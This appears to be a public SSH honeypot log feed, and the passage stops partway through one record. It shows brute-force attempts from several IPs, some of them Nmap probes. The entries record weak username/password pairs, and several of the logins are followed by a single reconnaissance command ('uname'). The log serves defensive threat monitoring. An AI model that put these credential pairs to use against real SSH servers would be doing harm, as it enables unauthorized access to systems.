Adversarial Observation Interface

109.160.32.103

2026-09-24 06:38:56.560100 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / Ubuntu1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 372e4a26c3ab

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "372e4a26c3ab",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:56.560100Z",
  "end_time": "2026-09-24T06:38:58.265798Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "Ubuntu1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:50.616449 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e4fcbc8427dd

Client Version: SSH-2.0-Go

Engagement Duration: 1.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e4fcbc8427dd",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:50.616449Z",
  "end_time": "2026-09-24T06:38:51.893386Z",
  "duration": "1.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:44.172845 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: potok

Record ID: b154c0b73f76

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b154c0b73f76",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:44.172845Z",
  "end_time": "2026-09-24T06:38:46.207086Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "potok",
      "pass": "potok"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

108.174.147.36

2026-09-24 06:38:41.063521 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: ts3

Record ID: 118a1c15fd9e

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "118a1c15fd9e",
  "src_ip": "108.174.147.36",
  "start_time": "2026-09-24T06:38:41.063521Z",
  "end_time": "2026-09-24T06:38:43.135167Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "ts3",
      "pass": "12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:37.190107 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / dev

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: f18c51a1810c

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f18c51a1810c",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:37.190107Z",
  "end_time": "2026-09-24T06:38:39.488580Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "dev"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:30.417152 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / vps12345678

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: f67e112e8391

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "f67e112e8391",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:30.417152Z",
  "end_time": "2026-09-24T06:38:32.026853Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "vps12345678"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:23.828757 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: developer

Record ID: d2548bee5497

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d2548bee5497",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:23.828757Z",
  "end_time": "2026-09-24T06:38:25.740906Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "developer",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:18.149521 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: wangjing

Record ID: 4e352d349ca9

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4e352d349ca9",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:18.149521Z",
  "end_time": "2026-09-24T06:38:20.274550Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "wangjing",
      "pass": "wangjing"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:13.041819 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: user / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 2715df4af778

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2715df4af778",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:13.041819Z",
  "end_time": "2026-09-24T06:38:14.675411Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:05.976014 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: superadmin

Record ID: 426bfe71b1a2

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "426bfe71b1a2",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:05.976014Z",
  "end_time": "2026-09-24T06:38:07.912197Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "superadmin",
      "pass": "admin123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:38:00.396240 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: claude

Record ID: 423866b83d44

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "423866b83d44",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:38:00.396240Z",
  "end_time": "2026-09-24T06:38:02.636631Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "claude",
      "pass": "claude"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.62.244.233

2026-09-24 06:37:56.149307 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: fc8997ff04f6

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.6s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "fc8997ff04f6",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:56.149307Z",
  "end_time": "2026-09-24T06:37:56.764131Z",
  "duration": "0.6",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.62.244.233

2026-09-24 06:37:55.514742 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: a3922701a1c8

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "a3922701a1c8",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:55.514742Z",
  "end_time": "2026-09-24T06:37:55.824626Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.62.244.233

2026-09-24 06:37:55.055821 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 0f15af9e191d

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "0f15af9e191d",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:55.055821Z",
  "end_time": "2026-09-24T06:37:55.364675Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.62.244.233

2026-09-24 06:37:54.237824 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f7d27e18489b

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.7s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "f7d27e18489b",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:54.237824Z",
  "end_time": "2026-09-24T06:37:54.917264Z",
  "duration": "0.7",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.103

2026-09-24 06:37:53.980397 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / p@ssw0rd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e7748689a8e2

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e7748689a8e2",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:53.980397Z",
  "end_time": "2026-09-24T06:37:56.383533Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "p@ssw0rd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

34.62.244.233

2026-09-24 06:37:53.415611 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 72e3d3bf2909

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.7s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "72e3d3bf2909",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:53.415611Z",
  "end_time": "2026-09-24T06:37:54.098424Z",
  "duration": "0.7",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.62.244.233

2026-09-24 06:37:52.955042 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 4c4d55782323

Client Version: SSH-2.0-Nmap-SSH2-Hostkey

Engagement Duration: 0.3s

HASSH Fingerprint: e788c657d1a22971d5026526ffd2e918

{
  "id": "4c4d55782323",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:52.955042Z",
  "end_time": "2026-09-24T06:37:53.266746Z",
  "duration": "0.3",
  "version": "SSH-2.0-Nmap-SSH2-Hostkey",
  "hassh": "e788c657d1a22971d5026526ffd2e918",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

34.62.244.233

2026-09-24 06:37:52.440453 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: febde46d0708

Client Version: SSH-1.5-Nmap-SSH1-Hostkey

Engagement Duration: 0.2s

{
  "id": "febde46d0708",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:52.440453Z",
  "end_time": "2026-09-24T06:37:52.617591Z",
  "duration": "0.2",
  "version": "SSH-1.5-Nmap-SSH1-Hostkey",
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

102.210.149.105

2026-09-24 06:37:49.271162 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: apm

Record ID: 80e9cbbd8d76

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.7s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "80e9cbbd8d76",
  "src_ip": "102.210.149.105",
  "start_time": "2026-09-24T06:37:49.271162Z",
  "end_time": "2026-09-24T06:37:52.008620Z",
  "duration": "2.7",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "apm",
      "pass": "apm"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:47.749703 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: myuser

Record ID: dfd05a5e7ab8

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "dfd05a5e7ab8",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:47.749703Z",
  "end_time": "2026-09-24T06:37:49.939642Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "myuser",
      "pass": "root"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.62.244.233

2026-09-24 06:37:45.653517 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: f3c10b00d460

Client Version: SSH-2.0-libssh2_1.10.0

Engagement Duration: 0.8s

HASSH Fingerprint: b4b8ae3d7241d2c1dc54b4df7e8c19d1

{
  "id": "f3c10b00d460",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:45.653517Z",
  "end_time": "2026-09-24T06:37:46.430321Z",
  "duration": "0.8",
  "version": "SSH-2.0-libssh2_1.10.0",
  "hassh": "b4b8ae3d7241d2c1dc54b4df7e8c19d1",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.103

2026-09-24 06:37:41.157032 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: desktop

Record ID: bcebb7e4fbf2

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bcebb7e4fbf2",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:41.157032Z",
  "end_time": "2026-09-24T06:37:43.449039Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "desktop",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.62.244.233

2026-09-24 06:37:40.123628 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 8189ff5e6197

Client Version: SSH-2.0-Nmap_SSH2_Enum_Algos

Engagement Duration: 0.2s

HASSH Fingerprint: a20aced7c9824fd804f59e68dd801ad3

{
  "id": "8189ff5e6197",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:40.123628Z",
  "end_time": "2026-09-24T06:37:40.328623Z",
  "duration": "0.2",
  "version": "SSH-2.0-Nmap_SSH2_Enum_Algos",
  "hassh": "a20aced7c9824fd804f59e68dd801ad3",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.103

2026-09-24 06:37:35.559263 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user1

Record ID: a9c32e903805

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a9c32e903805",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:35.559263Z",
  "end_time": "2026-09-24T06:37:37.767620Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user1",
      "pass": "modzmodz"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

34.62.244.233

2026-09-24 06:37:33.584552 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: b27183a3e047

Client Version: Unknown

Engagement Duration: 0.1s

{
  "id": "b27183a3e047",
  "src_ip": "34.62.244.233",
  "start_time": "2026-09-24T06:37:33.584552Z",
  "end_time": "2026-09-24T06:37:33.727397Z",
  "duration": "0.1",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.103

2026-09-24 06:37:29.586011 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: test / test123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e45902625ee0

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e45902625ee0",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:29.586011Z",
  "end_time": "2026-09-24T06:37:32.236846Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "test",
    "pass": "test123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:24.333735 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: openclaw

Record ID: e1c31007cd73

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e1c31007cd73",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:24.333735Z",
  "end_time": "2026-09-24T06:37:26.532722Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "openclaw",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:18.610688 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: testuser

Record ID: 2fac6e74490c

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2fac6e74490c",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:18.610688Z",
  "end_time": "2026-09-24T06:37:20.944643Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "testuser",
      "pass": "test"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:13.402838 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / passwd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 0cfff59fc010

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "0cfff59fc010",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:13.402838Z",
  "end_time": "2026-09-24T06:37:14.987952Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "passwd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:07.814392 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 123123123a

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 1ed4798c75c1

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "1ed4798c75c1",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:07.814392Z",
  "end_time": "2026-09-24T06:37:10.201078Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "123123123a"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:37:02.213743 UTC

RECONNAISSANCE COMMANDS RUN SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / !qaz@WSX

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 68dc85d37fc3

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "68dc85d37fc3",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:37:02.213743Z",
  "end_time": "2026-09-24T06:37:03.907431Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "!qaz@WSX"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "RECONNAISSANCE",
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.103

2026-09-24 06:36:55.855700 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: liyang

Record ID: 80671d188b65

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "80671d188b65",
  "src_ip": "109.160.32.103",
  "start_time": "2026-09-24T06:36:55.855700Z",
  "end_time": "2026-09-24T06:36:57.873144Z",
